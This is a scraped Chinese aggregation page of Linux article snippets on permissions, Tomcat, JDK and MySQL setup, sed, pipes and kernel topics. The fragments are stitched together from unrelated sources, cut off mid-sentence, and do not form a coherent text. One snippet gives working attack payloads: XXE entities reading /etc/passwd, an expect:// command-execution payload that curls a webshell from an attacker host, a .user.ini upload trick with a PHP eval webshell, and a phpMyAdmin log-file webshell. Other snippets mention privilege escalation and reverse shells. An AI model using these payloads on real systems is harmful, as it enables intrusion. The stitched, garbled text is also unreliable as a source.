☠️每日毒鸡汤：没撒子可说的，好好看文章吧。 👋大家好！我是你们的老朋友Java学术趴。相毕大家对Windows玩的已经是非常的熟练，那么小编今天给大家带大家搞一搞Linux系统，小编用一个星期的时间给大家整了一些Linux干货，由于内容太多，小编分开发。话不多说，直接进入今天的主题：Linux系统。Linux，全称GNU/Linux，是一种免费使用和自由传播的类UNIX操作系统，其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布，它主要受到Minix和Unix思想的启发，是一个基于P
master（虚拟机centos7，NAT模式，固定ip）：192.168.131.129
我很喜欢 Linux 系统，尤其是 Linux 的一些设计很漂亮，比如可以将一些复杂的问题分解成若干小问题，通过管道符和重定向机制灵活地用现成的工具解决，写成 shell 脚本就很高效。
在Linux中，每个文件都有一组基本属性。可以使用ls -l命令来查看文件的详细属性。
这篇讲一些关于 Linux 提权的方法，也是参考网上的一些提权方式，对于刚接触 Linux 提权的伙伴来说，需要花不少时间去理解，所以这里是以个人通俗易懂的思路去写，希望能帮到热爱学习的朋友，先写这些提权方法。若有更好的提权方式，欢迎老哥们在评论里补充一下。
文件（包括目录）权限分为三类别，从左至右依次是：文件所属主的权限、文件所属所在用户组的权限和其他用户的权限。
Modify: 2020-05-22 08：20：38.488730387 -0400
网上类似标题的文章很多，但大都是从start_kernel讲起，我觉得这是远远不够的。
我们知道，在Unix/Linux系统中“一切皆文件”，socket也被认为是一种文件，socket被表示成文件描述符。
#1 - 错误: 设备上无剩余空间 当你的类UNIX系统磁盘写满了时你会在屏幕上看到这样的信息。本例中，我运行fallocate命令然后我的系统就会提示磁盘空间已经耗尽： $ fallocate -l 1G test4.imgfallocate: test4.img: fallocate failed: No space left on device 第一步是运行df命令来查看一个有分区的文件系统的总磁盘空间和可用空间的信息： $ df 或者试试可读性比较强的输出格式： $ df -h 部分输出内容： Fi
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。
如果您刚刚接触到linux，这些内容可能对您有用，要是您接触linux已经有一段时间，那么这些内容可能对您没有太大的帮助，希望对您有用。
用户组 在linux中的每个用户必须属于一个组，不能独立于组外。在linux中每个文件有所有者、所在组、其它组的概念 所有者 所在组 其它组 改变用户所在的组 所有者 一般为文件的创建者，谁创建了该文件，就天然的成为该文件的所有者 用ls ‐ahl命令可以看到文件的所有者 也可以使用chown 用户名 文件名来修改文件的所有者 文件所在组 当某个用户创建了一个文件后，这个文件的所在组就是该用户所在的组 用ls ‐ahl命令可以看到文件的所有组 也可以使用chgrp 组名 文件名来修改文件所在的组 其它组 除
本文没什么难点，只是发现自己记忆不好，特别是搭建tomcat服务的时候，总是需要去重新查阅资料，特此就写这篇博客来加强自己的记忆，同时也给大家以参考；
文件权限 ls命令结果介绍 -l中显示的内容如下： -rwxrw-r‐-1 root root 1213 Feb 2 09:39 abc - 第一个字符代表文件（-）、目录（d），链接（l）- 10个字符确定不同用户能对文件干什么 - 其余字符每3个一组（rwx），读（r）、写（w）、执行（x） - 第一组rwx：文件所有者的权限是读、写和执行 - 第二组rw-：与文件所有者同一组的用户的权限是读、写但不能执行 - 第三组r--：不与文件所有者同组的其他用户的权限是读不能写和执行 也可用数字表示为：r=4
1.将项目达成war包(用eclipse，项目右键-->Export-->选择war file)
这两天做资源自动化交付的项目，写的脚本比较多 ，在写脚本的过程中，遇到了很多Linux中的常用文件，这里列举一下，希望对大家能有所帮助吧。
tengine2.2.0编译安装、开机启动、反向代理配置及健康检查 tengine是由淘宝发起的一个基于nginx的开源项目，nginx的吞吐量比较高、快速、稳定，而且反向代理和负载均衡使用nginx，也是最常见的。本文介绍在Linux（centos）下如何编译安装，并设置nginx开机自启动及配置反向代理和配置健康检查。官网地址 1、下载tengine 下载 下边是使用linux直接下载，或者用windows下载然后上传到linux上，但是这样比较麻烦。 wget http://tengine.taoba
在专栏之前的几篇文章中，我们总结了缓冲池，缓存页，redo log，undo log，以及数据页和数据行在底层是如何进行存储的，后续介绍了表空间，段，区等概念。这一节比较特殊，讲述的是和Linux有关的交互原理，因为多数的mysql都是部署在linux的服务器上面，本节会简单介绍一下linux是如何处理mysql的请求的，以及linux系统会带来哪些问题
修改HOSTANME vi /etc/sysconfig/network 修改HOSTNAME和IP的映射 vi /etc/hosts 关闭防火墙 service iptables stop 关闭防火墙的开机启动 chkconfig iptables off 重启linux服务器 reboot
本文介绍了管道（pipe）在Linux系统中的实现方式，从三个方面进行了详细阐述：管道的原理，命名管道，以及通过匿名管道进行的进程间通信。同时，文章还探讨了管道在Linux系统中的实际应用，包括shell脚本、cron任务以及Linux中的各种守护进程等。
在Linux的使用过程中，尤其是开发者，经常在2个目录或者多个目录之间来回切换，这个时候，用cd还是比较麻烦。pushd和popd可以帮我们缓解这种麻烦。
接上文 从应用到内核查接口超时（中），查到是因为 journal 导致 write 系统调用被阻塞进而导致超时后，总感觉证据还不够充分，没有一个完美的交待。而且 leader 还想着让我把问题排查过程分享给同事们，这让我更加不安，担心搞错了方向。
我是用xmind 做的，这个图毕竟是截图出来的，很多地方会显得比较模糊，从框架上看内容还是挺多的，目前已经全面更新，针对粉丝提供免费下载服务，审核通过，粉丝即可下载
今天跟大家分享17个linux运维中常用的操作技巧！掌握好这些技巧，或许某一天能够让老板给你涨工资！
RCE(Remote code execution）远程代码执行漏洞，RCE又分命令执行和代码执行。
转载自 https://www.cnblogs.com/wangkongming/p/3852328.html
在 Linux 系统中，文件和目录是基本的文件系统组成部分。文件系统是用于组织和存储文件的一种结构，而文件和目录则是文件系统的核心元素。以下是对 Linux 文件和目录的详细解释：
上回说到，方老师有一个朋友，写招聘JD不小心把“售前产品经理”打错成“收钱产潘金莲”，而且发出去了。
借助 ext4 文件系统的 打洞 功能，可以实现一个消息队列 https://gist.github.com/CAFxX/571a1558db9a7b393579
在访问dev路径时，看到提示内容说现在我们处在levl 0的等级里面，让我们再努力一点
读写分离：读写操作，分发不同的服务器，读分发到对应的服务器 （slave），写分发到对应的服务器（master）
1.创建简单的Linux脚本文件并执行 ①新建文本文件 vim invoke.sh ②加入几条简单的Linux命令，例如： ifconfig ll ③保存退出：wq ④修改文件权限信息 chmod 755 invoke.sh ⑤执行 ./invoke.sh ※为什么要带“./”？ 因为前面什么都没有的话Linux会当作一个命令，但是又找不到对应的命令文件，所以无法执行。代码“./”之后Linux就知道这是一个路径，不会当作命令处理。 2.在CentOS7中将防火墙关闭并设置为开机不自动启动 systemctl stop firewalld.service systemctl disable firewalld.service 3.解压并配置JDK 第一步：解压JDK tar -zxvf /opt/jdk-8u121-linux-x64.tar.gz 第二步：编辑/etc/profile文件配置环境变量 cp /etc/profile /etc/profile.bak vim /etc/profile 第三步：配置JAVA_HOME和PATH 在/etc/profile文件末尾加入 JAVA_HOME=/opt/jdk1.8.0_121 PATH=$JAVA_HOME/bin:$PATH export JAVA_HOME PATH 第四步：使配置文件生效 source /etc/profile 或 reboot 第五步：验证 echo $PATH echo $JAVA_HOME java -version 4.解压并启动Tomcat 解压：tar -zxvf /opt/apache-tomcat-7.0.75.tar.gz 启动：/opt/apache-tomcat-7.0.75/bin/startup.sh 设置防火墙 5.MySQL安装 rpm -e --nodeps mariadb-libs-1:5.5.56-2.el7.x86_64 rpm -ivh /opt/MySQL-server-5.5.52-1.el6.x86_64.rpm rpm -ivh /opt/MySQL-client-5.5.52-1.el6.x86_64.rpm systemctl start mysql.service [root@rich opt]# mysqladmin -u root password New password: Confirm new password: [root@rich opt]# mysql -u root -p Enter password: 6.MySQL授权 第一步：登录MySQL服务器 第二步：use mysql; 第三步：查看user表部分内容 mysql> select host,user,password from user; +--------------+------+-------------------------------------------+ host user password +--------------+------+-------------------------------------------+ localhost root 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B computer_user root 127.0.0.1 root 1 root localhost computer_user +--------------+------+-------------------------------------------+ 6 rows in set (0.00 sec) 第四步：插入特定数据 insert into user(host,user,password) values('%','root','81F5E21E35407D884A6CD4A731AEBFB6AF209E1B');
在上章34.Linux-printk分析、使用printk调试驱动里讲述了: printk()会将打印信息存在内核的环形缓冲区log_buf[]里, 可以通过dmesg命令来查看log_buf[]
详见：[Linux 打印文本部分行内容（前几行，指定行，中间几行，跨行，奇偶行，后几行，最后一行，匹配行）]()
语法：sed 选项 's/搜索的内容/替换的内容/动作' 需要处理的文件 动作一般是打印p和全局替换g
因为本地虚拟机直接有OpenJDK的原因, 我就直接用openJDK了, 如果不喜欢可以自己卸载了, 再安装Oracle的
Linux的用户在登录(login)之后，就带有一个用户身份(user ID, UID)和一个组身份(group ID, GID)。在Linux文件管理背景知识中，我们又看到，每个文件又有九位的权限说明，用来指明该文件允许哪些用户执行哪些操作(读、写或者执行)。 (参考Linux文件管理背景知识) 一般来说，Linux的用户信息保存在/etc/passwd中，组信息保存在/etc/group中，文件的每一行代表一个用户/组。早期的Linux将密码以名码的形式保存在/etc/passwd中，而现在则多以暗码(
注解：if…;then …else ..fi：为if条件语句,!叹号表示反义“不存在“，-d代表目录。
find . -name “*.tar” -exec mv {}./backup/ ;
本篇聊一聊 新的主题：《反弹shell-逃逸基于execve的命令监控》，打算写一个专题，预估可以写三篇，内容确实有点多，也是最近研究了一些有意思的东西，想给大家分享一下。喜欢的话，请大家一定点在看，并分享出去，算是对我原创最大的支持了。如何想看新方法，直接到最后。
大家好，又见面了，我是你们的朋友全栈君。最近在做个东西，巧合碰到了sharedUserId的问题，所以收集了一些资料，存存档备份。
文件file内容赋值到file2中 1. cp file1 file2 2. cat file1 > file2 3. cat < file1 > file2 4. dd if=file1 of=file2 (if =infile ; of=outfile ) 5 cat file | cat > file2 关于给一个文件读，写，执行权限的问题 采用chmod 数值 filename 关于文件权限（{读，写，执行}{4,2,1}） Linux文件权限一共10位长度，分成四段 ,第1
* 任意个任意字符 ? 任意一个字符 # 注释字符 \ 脱义字符 | 管道符 find /etc/ -type f -name “*conf” -exec cat {} >> 1.txt \; //在
NAND FLASH版本和eMMC版本核心板使用方法基本一致。本文主要描述U-Boot编译、基础设备树文件编译、固化Linux系统NAND FLASH分区说明和NAND FLASH启动系统、固化Linux系统、AND FLASH读写测试等，NAND FLASH版本与eMMC版本核心板在使用方面的不同之处，相同之处将不重复描述。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用[服务器]，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应（[标准通用标记语言])下的一个应用页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。 –来自百度百科
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
Linux是一套免费使用和自由传播的类Unix操作系统，是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想，是一个性能稳定的多用户网络操作系统。
由于现在工作中linux用的越来越多，所以这里再重新梳理下。 1.tailf /home/tomcat/apache-tomcat-8.5.8/logs/catalina.out 查看tomcat下日志 2.show full processlist 查看是否有锁表(这个可以在navigat中查看)，
在日常的内网横向过程中，对于SMB、Mysql、SSH、Sqlserver、Oracle等服务的弱口令爆破是常用手段，重复的红队攻防比赛使得这些服务的弱口令越来越少了。所以在平时，ABC_123也会关注一些其它服务的弱口令提权方法，有时候会在内网横向中收到奇效。本期就分享一个在内网渗透中，遇到的PostgreSQL数据库提权案例，过程非常艰辛，但是收获不少。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
